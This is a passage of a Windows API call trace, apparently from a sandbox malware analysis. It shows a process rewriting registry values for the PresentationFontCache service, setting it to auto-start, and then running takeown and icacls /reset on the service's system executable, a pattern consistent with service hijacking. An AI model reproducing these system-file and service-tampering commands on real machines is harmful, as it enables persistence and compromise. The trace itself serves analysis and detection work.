lpcbData=0x36f45c*=0x0) returned 0x2 [0239.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0239.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0239.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0239.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0239.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0239.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0239.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0239.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0239.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0239.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.668] RegQueryValueExA (in: hKey=0x14c, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0239.668] RegQueryValueExA (in: hKey=0x14c, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f1e38, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0239.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0239.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0239.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0239.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0239.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0239.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0239.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0239.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.669] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0239.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.669] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0239.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.669] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0239.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.669] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0239.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.669] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0239.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.669] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0239.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0239.669] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0239.669] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0239.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0239.670] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0239.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0239.670] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0239.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0239.670] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0239.670] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0239.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0239.670] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0239.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0239.670] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0239.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0239.671] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0239.671] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0239.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0239.671] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0239.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0239.671] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0239.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0239.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0239.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0239.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0239.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0239.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0239.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0239.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0239.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0239.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0239.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0239.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0239.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0239.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0239.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0239.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0239.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0239.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0239.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0239.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0239.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0239.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0239.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0239.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0239.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0239.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0239.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0239.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0239.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.672] RegQueryValueExA (in: hKey=0x150, lpValueName="ImagePath", lpReserved=0x0, lpType=0x36f450, lpData=0x0, lpcbData=0x36f458*=0x0 | out: lpType=0x36f450*=0x2, lpData=0x0, lpcbData=0x36f458*=0x4a) returned 0x0 [0239.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.672] RegQueryValueExA (in: hKey=0x150, lpValueName="ImagePath", lpReserved=0x0, lpType=0x36f450, lpData=0x21f2da0, lpcbData=0x36f458*=0x4a | out: lpType=0x36f450*=0x2, lpData="%systemroot%\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe", lpcbData=0x36f458*=0x4a) returned 0x0 [0239.672] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x49 [0239.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0239.672] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe", lpDst=0x21f2fc0, nSize=0x49 | out: lpDst="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe") returned 0x48 [0239.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0239.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0239.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0239.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0239.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.673] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe", cbData=0x48 | out: lpData="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe") returned 0x0 [0239.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0239.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0239.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f2e28, cbMultiByte=71, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0239.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0239.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f2e28, cbMultiByte=71, lpWideCharStr=0x21e4e38, cchWideChar=71 | out: lpWideCharStr="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe") returned 71 [0239.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e5048 [0239.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0239.673] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" [0239.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0239.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0239.673] LocalFree (hMem=0x7f03d0) returned 0x0 [0239.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0239.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0239.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe", cchWideChar=71, lpMultiByteStr=0x21f2da0, cbMultiByte=71, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe", lpUsedDefaultChar=0x0) returned 71 [0239.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0239.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0239.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0239.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0239.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0239.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0239.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0239.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0239.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0239.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0239.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0239.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0239.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0239.674] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe", cbData=0x48 | out: lpData="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe") returned 0x0 [0239.674] OpenServiceW (hSCManager=0x803918, lpServiceName="FontCache3.0.0.0", dwDesiredAccess=0x2) returned 0x8038a0 [0239.674] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0239.696] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0239.696] RegCloseKey (hKey=0x150) returned 0x0 [0239.696] RegCloseKey (hKey=0x14c) returned 0x0 [0239.704] CreateFileW (lpFileName="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\wpf\\presentationfontcache.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.704] GetLastError () returned 0x5 [0239.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0239.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0239.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0239.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0239.705] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe", lpProcessInformation=0x36f4a4*(hProcess=0x150, hThread=0x14c, dwProcessId=0xaac, dwThreadId=0xab0)) returned 1 [0239.709] NtClose (Handle=0x14c) returned 0x0 [0239.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0239.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0239.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0239.709] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x2710) returned 0x0 [0239.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0239.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e5048 [0239.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0239.959] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\icacls.exe", lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe /reset", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe /reset", lpProcessInformation=0x36f4a4*(hProcess=0xc4, hThread=0x14c, dwProcessId=0xac4, 